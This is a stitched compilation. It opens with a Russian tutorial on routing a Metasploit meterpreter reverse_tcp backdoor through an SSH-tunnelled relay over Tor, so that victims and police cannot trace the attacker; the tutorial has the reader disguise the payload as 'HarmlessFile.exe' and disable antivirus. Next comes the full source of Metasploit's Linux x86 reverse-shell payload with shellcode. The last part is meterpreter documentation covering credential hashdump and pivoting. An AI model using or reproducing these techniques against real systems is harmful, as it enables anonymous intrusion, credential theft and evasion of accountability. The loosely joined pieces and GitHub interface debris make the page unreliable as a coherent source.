Анонимное подключение к meterpreter/reverse_tcp через промежуточный сервер с помощью SSH-туннелей
Всем привет! Эта статья рассчитана скорее на новичков, которые только начинают своё знакомство с Metasploit Framework, но уже кое-что понимают. Если вы считаете себя опытным специалистом и вас заинтересовало название, можете сразу перейти к TL;DR; в конце. Речь в этой статье пойдет о том, как устроить анонимный доступ к meterpriter оболочке посредством reverse tcp с использованием промежуточного сервера и SSH туннелей.
Дисклеймер: чукча не писатель, не безопасник и вообще с трудом может причислить себя к профессионалам в какой-либо сфере. Но чукча захотел reverse tcp через tor и сделал, а вам теперь это читать. А так же помните, что производить подобные действия можно только в разрешенных вам местах, иначе вам грозят несколько статей уголовного кодекса.
Вступление
Допустим, мы нашли дыру на виндовой машине и хотим на неё проникнуть. Рассмотрим варианты, причем обычный cmd нам неинтересен, то ли дело meterpreter, о нём и поговорим.
Есть два основных принципа соединения с оболочкой meterpreter: прямое и обратное. В meterpreter’е есть множество вариантов подключения, но в рамках этой статьи мы будем говорить только о bind tcp(прямой) и reverse tcp(обратный).
Какие подводные камни нас ждут, если мы хотим использовать bind tcp, открыв таким образом порт у жертвы и потом через прокси или тор подключиться? Во-первых, брэндмауэр жертвы поинтересуется, зачем эта непонятная программа пытается выйти в интернет и можно ли ей тут хозяйничать? Допустим, пользователь глуп(что скорее всего так и есть) настолько, чтобы разрешить нашей программе открыть порт, спросите себя, кто нынче выходит в интернет напрямую и имеет белый ip? Мало таких осталось, сейчас везде роутеры, а следовательно наш порт будет доступен только во внутренней сети. Если мы заморочились и прокинули порт наружу, то остаётся полследняя проблемы: нужно знать ip, чтобы подключиться, а он может периодически меняться. Зато, если все перечисленные выше условия выполнены, то можно подключиться через цепочку проксей из любого места.
Что насчет reverse tcp подключения? Брэндмауэр не ругается, роутер тоже не помеха — жертва сама подключится к нам, поэтому же отпадает необходимость следить за её ip адресом. Но возникает проблема посерьёзнее — анонимность. Нам нужно указать, куда жертва будет подключаться, то есть написать свой ip, который можно будет увидеть через тот же netstat. И тогда дяди в чистых костюмах или мстительная жертва с нужными знакомыми смогут, как говорится, вычислить по ip и начистить ботинки сами знаете что сделать. Ещё один минус — наш айпи должен быть постоянным, чтобы иметь возможность подключаться к жертве повторно.
Как же быть? Как сохранить анонимность и иметь возможность входа из любого места?
Начальные условия
Весь процесс я буду демонстрировать в следующих условиях:
- В качестве атакующей стороны будет выступать виртуальная машина Kali Linux 2 с IP адресом 192.168.1.50
- Жертвой будет виртуалка с Windows 7. IP — 192.168.1.146
- Промежуточным, читай — прокси, сервером будет Fedora с IP 192.168.1.10
Не смотрите на то, что они все находятся в одной сети — этот метод прекрасно будет работать в реальных условиях, когда прокси-сервер, жертва и атакующая машина все находятся в разных сетях, но с доступом к интернету.
Для начала запустим handler — программу, которая будет ждать соединения от жертвы на 4444 порту, чтобы при подключении отправить ей meterpreter. Для этого в командной строке Kali запустим msfconsole и в ней выполним следующие команды:
Сообщаем, что на жертве у нас будет запущена полезная нагрузка meterpreter с обратным соединением:
Указываем параметры нагрузки — будем слушать на порту 4444 нашего ip адреса(почему не 127.0.0.1 расскажу позже).
Запускаем и оставляем в таком виде до лучших времен.
Создание exe с полезной нагрузкой
Затем сгенерируем программулину, которая и будет подключаться через прокси к нам. Открываем новую вкладку терминала и набираем следующее:
Кратко расскажу об аргументах.
Первые три очевидны — архитектура процессора, платформа и формат выходного файла. Аргумент -p сразу понятен тем, кто немного знаком с Metasploit: мы выбирали в качестве полезной нагрузки оболочку meterpreter, которая подключится на порт LPORT хоста LHOST, принадлежащие в данном случае нашему прокси-серверу.
Аваст не повелся и гордо сообщил об угрозе, поэтому и был убит на месте, дабы не мешать испытаниям. Файл на месте, теперь займемся подготовкой нашего сервера.
Настройка сервера
Мы будем использовать статический проброс портов.
В созданном нами exe порт был 22222, а на Kali мы слушаем порт 4444. Значит-с, чтобы все запросы идущие на серверный порт 22222 транслировались на наш порт 4444, в Kali нужно написать такую команду:
Чтобы разобраться, почему это не сработает, поймем чего мы этой командой хотели добиться. Мне нравится, когда на экране есть информация о том, что происходит, поэтому я добавил -v, но доступ к оболочке нам не нужен, поэтому -N(ещё в этом случае нас не будет видно в who на сервере). Магический аргумент -R 127.0.0.1:22222:127.0.0.1:4444 описывает правила перенаправления пакетов: с адреса на сервере 127.0.0.1:22222 на наш локальный адрес 127.0.0.1:4444. Первый 127.0.0.1 подразумевается, поэтому мы его опускаем.
Нюанс в том, что по умолчанию проброшенный таким образом порт на сервере будет доступен только с серверного же localhost’а и при попытке подключиться извне ничего не произойдет и никаких ошибок не будет.
Поправим ситуацию — открываем на прокси-сервере конфиг ssh демона — /etc/ssh/sshd_config, ищем строку GatewayPorts, раскомментируем её и устанавливаем в yes. Переподгружаем конфиг через service sshd reload и теперь со спокойной душей запускаем команду.
А теперь интересный момент. Когда я только это всё изучал, то подобными манипуляциями у меня получилось добиться подключения жертвы к моему хэндлеру и успешно открыть командную строку метерпритера, но при вводе любой команды(даже help) он с дикими ошибками закрывал соединение. Сейчас же, когда я пишу статью, всё работает. Даже если у вас всё заработало и так, всё равно рекомендую к прочтению следующий абзац.
После долгих часов гугления был найден комментарий разработчика метерпритера о том, что не стоит указывать LHOST(то есть адрес хоста, на котором слушать) 127.0.0.1. Нужно писать либо что-то типа 127.0.0.2, либо 0.0.0.0. Но если мы выбираем первый вариант, то и прокидывать порты нужно на 127.0.0.2. Но и с таким вариантом у меня выпадали ошибки. После ещё более долгих часов гугления был найден комментарий другого разработчика, который сказал чуть больше: нельзя вешать не только на 127.0.0.1, но и в принципе на интерфейс loopback, потому что он зарезервирован и работать будет не стабильно, и порекомендовал вешать хэндлер на другой сетевой интерфейс, например eth0. Так что прокидывать мы будем на него же. Команда приобретает следующий вид:
Уже лучше, но через proxychains её всё равно не получится запустить. Чтобы поправить это, пробросим через проксичейнс ssh сервера себе, и через него уже пробросим порт метерпритера.
Говорят, proxychains, входящий в стандартную сборку Kali 2 уже староват и давно заброшен. У меня он периодически падал с ошибкой segfault. Поэтому я поставил себе proxychains4(proxychains-ng) отсюда, а старый снёс к чертям и остался доволен, чего и вам советую.
Заметьте, что мы подключаемся именно на 127.0.0.1:42022, а не на 192.168.1.10:22. Всё готово! Выпускайте Кракена Запускаем HarmlessFile.exe у жертвы и наслаждаемся результатом.
Используем левый сервер в качестве прокси, к которому будет цепляться meterpreter жертвы с помощью reverse tcp.
- Запускаем handler в metasploit’e с метерпритером в качестве нагрузки и указываем адрес левого сервера:
В настройках sshd левого сервера указываем GatewayPorts yes. Через proxychains4, настроенный на тор, сначала пробрасываем себе ssh:
Затем пробрасываем себе порт, на который будет цепляться meterpreter:
Генерируем exe с meterpreter/reverse_tcp в качестве нагрузки:
Оговорюсь повторно, что я описал метод, который сработал для меня и выполнил нужную мне задачу — анонимность и мобильной. Может быть есть и другие, более простые пути добиться того же самого, но мне не удалось их раскопать.
Моя первая статья на ваш суд — конструктивная критика приветствуется, об опечатках прошу сообщать в личку.
Полезные ссылки:
Памятка пользователям ssh — замечательное описание возможностей SSH, в частности о SSH-туннелях.
Meterpreter базовые команды — описание базовых команд Meterpreter’a.
И ещё 2 слегка устаревшие статьи, но в них есть описание более интересных фич Meterpreter.
Источник
Metasploit reverse tcp linux
Copy raw contents
Copy raw contents
## |
# This module requires Metasploit: https://metasploit.com/download |
# Current source: https://github.com/rapid7/metasploit-framework |
## |
module MetasploitModule |
CachedSize = 68 |
include Msf :: Payload :: Single |
include Msf :: Payload :: Linux |
include Msf :: Sessions :: CommandShellOptions |
def initialize ( info = < >) |
super ( merge_info ( info , |
‘Name’ => ‘Linux Command Shell, Reverse TCP Inline’ , |
‘Description’ => ‘Connect back to attacker and spawn a command shell’ , |
‘Author’ => [ ‘Ramon de C Valle’ , ‘joev’ ] , |
‘License’ => MSF_LICENSE , |
‘Platform’ => ‘linux’ , |
‘Arch’ => ARCH_X86 , |
‘Handler’ => Msf :: Handler :: ReverseTcp , |
‘Session’ => Msf :: Sessions :: CommandShellUnix |
) ) |
register_options ( [ |
OptString . new ( ‘CMD’ , [ true , «The command string to execute» , «/bin/sh» ] ) |
] ) |
end |
def generate |
# pad the shell path to a multiple of 4 with slashes |
shell = datastore [ ‘CMD’ ] |
remainder = shell . bytes . length % 4 |
if remainder == 0 then remainder = 4 end |
shell_padded = ( «/» * ( 4 — remainder ) ) + shell |
» \x31 \xdb » + # xor ebx,ebx |
» \xf7 \xe3 » + # mul ebx |
» \x53 » + # push ebx |
» \x43 » + # inc ebx |
» \x53 » + # push ebx |
» \x6a \x02 » + # push byte +0x2 |
» \x89 \xe1 » + # mov ecx,esp |
» \xb0 \x66 » + # mov al,0x66 (sys_socketcall) |
» \xcd \x80 » + # int 0x80 |
» \x93 » + # xchg eax,ebx |
» \x59 » + # pop ecx |
» \xb0 \x3f » + # mov al,0x3f (sys_dup2) |
» \xcd \x80 » + # int 0x80 |
» \x49 » + # dec ecx |
» \x79 \xf9 » + # jns 0x11 |
» \x68 » + [ IPAddr . new ( datastore [ ‘LHOST’ ] , Socket :: AF_INET ) . to_i ] . pack ( ‘N’ ) + # push ip addr |
» \x68 \x02 \x00 » + [ datastore [ ‘LPORT’ ] . to_i ] . pack ( ‘S>’ ) + # push port |
» \x89 \xe1 » + # mov ecx,esp |
» \xb0 \x66 » + # mov al,0x66 (sys_socketcall) |
» \x50 » + # push eax |
» \x51 » + # push ecx |
» \x53 » + # push ebx |
» \xb3 \x03 » + # mov bl,0x3 |
» \x89 \xe1 » + # mov ecx,esp |
» \xcd \x80 » + # int 0x80 |
» \x52 » + # push edx |
# Split shellname into 4-byte words and push them one-by-one |
# on to the stack |
shell_padded . bytes . reverse . each_slice ( 4 ) . map do | word | |
» \x68 » + word . reverse . pack ( ‘C*’ ) |
end . join + |
» \x89 \xe3 » + # mov ebx,esp |
» \x52 » + # push edx |
» \x53 » + # push ebx |
» \x89 \xe1 » + # mov ecx,esp |
» \xb0 \x0b » + # mov al,0xb (execve) |
» \xcd \x80 » # int 0x80 |
end |
end |
You can’t perform that action at this time.
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.
Источник
Metasploit reverse tcp linux
Copy raw contents
Copy raw contents
linux/x86/meterpreter/reverse_tcp is the most popular payload against the Linux platform. It allows you to remotely take over the compromised system, having control of the file system, collect sensitive information such as credentials using post modules, etc.
linux/x86/meterpreter/reverse_tcp is also the default payload for most Linux exploits.
linux/x86/meterpreter/reverse_tcp should work on either 32 or 64-bit Linux platforms.
linux/x86/meterpreter/reverse_tcp can be used in two different ways.
As an exploit payload
Many Linux exploits support native payloads, but not always. To check this, you can use the info command on the exploit you want to use:
If the platform field includes Linux, then that means you can use linux/x86/meterpreter/reverse_tcp and other Linux payloads.
Sometimes, you need to select a specific target to be able to use a native Linux payload. To check this, do:
If there is a Linux target, use that:
To actually set the payload:
- In msfconsole, load the exploit.
- Do: set PAYLOAD linux/x86/meterpreter/reverse_tcp
- Set the LHOST option, which is the IP the payload should connect back to.
- Run the exploit
As a standalone executable
To use linux/x86/meterpreter/reverse_tcp as an executable, first you can generate it with msfvenom:
Before sending the executable to the victim machine, you need to set up the handler on your end:
- Start msfconsole
- Do: use exploit/multi/handler
- Do: set PAYLOAD linux/x86/meterpreter/reverse_tcp
- Do: set LHOST [Your IP]
- Do: run
And that should start the listener. When the victim runs the malicious executable, you should receive a session:
Important Basic Commands
Here is a list of some of the common commands you might need while using the Linux Meterpreter:
pwd
The pwd command tells you the current working directory. For example:
cd
The cd command allows you to change directories. Example:
cat
The cat command allows you to see the content of a file:
upload
The upload command allows you to upload a file to the remote target. For example:
download
The download command allows you to download a file from the remote target to your machine. For example:
ifconfig/ipconfig
ifconfig and ipconfig are actually the same thing. They allow you to see the network interfaces on the remote machine.
getuid
The getuid command tells you the current user that Meterpreter is running on. For example:
execute
The execute command allows you to execute a command or file on the remote machine. For example:
ps
The ps command lists the running processes on the remote machine.
shell
The shell command allows you to interact with the remote machine’s terminal (or shell). For example:
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
sysinfo
The sysinfo command shows you basic information about the remote machine. Such as:
- Computer name
- OS name
- Architecture
- Meterpreter type
14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 (i686) Architecture : i686 Meterpreter : x86/linux meterpreter > «>
Other commands
For a complete list of Linux Meterpreter commands, do the following at the prompt:
Using a Post module
One of the best things about Meterpreter is you have access to a variety of post modules that «shell» sessions might not have. Post modules provide you with more capabilities to collect data from the remote machine automatically. For example, stealing credentials from the system or third-party applications, or modify settings, etc.
To use a post module from the Meterpreter prompt, simply use the run command. The following is an example of collecting Linux hashes using post/linux/gather/hashdump:
Note that in order to collect Linux hashes, Meterpreter needs to run as root.
Using the Post Exploitation API in IRB
To enter IRB, do the following at the Meterpreter prompt:
The client object
The client object in Meterpreter allows you to control or retrieve information about the host. For example, this allows you to get the current privilege our payload is running as:
To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it:
You can also use the #methods method to see what methods you can use:
To review the source of the method, you can use the #source_location method. For example, say we want to see the source code for the #getuid method:
The first element of the array is the location of the file. The second is the line number of the method.
Routing Through the portfwd Commands
The portfwd command allows you to talk to a remote service like it’s local. For example, if you cannot talk to the blocked HTTP service remotely on the compromised host due to whatever reason, then you can use portfwd to establish that tunnel:
And then talk to it like it’s a local service:
Routing Through msfconsole
The route command from the msf prompt can also be used like portfwd, but it also allows you to reach out to other networks that the compromised host is connected to.
To use route , first look at the ipconfig/ifconfig output and determine your pivot point:
Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt, and establish that route:
At that point, you should have a working pivot. You can use other Metasploit modules to explore or exploit more hosts on the network, or use auxiliary/server/socks4a and Proxychains to allow other third-party tools to do the same.
Источник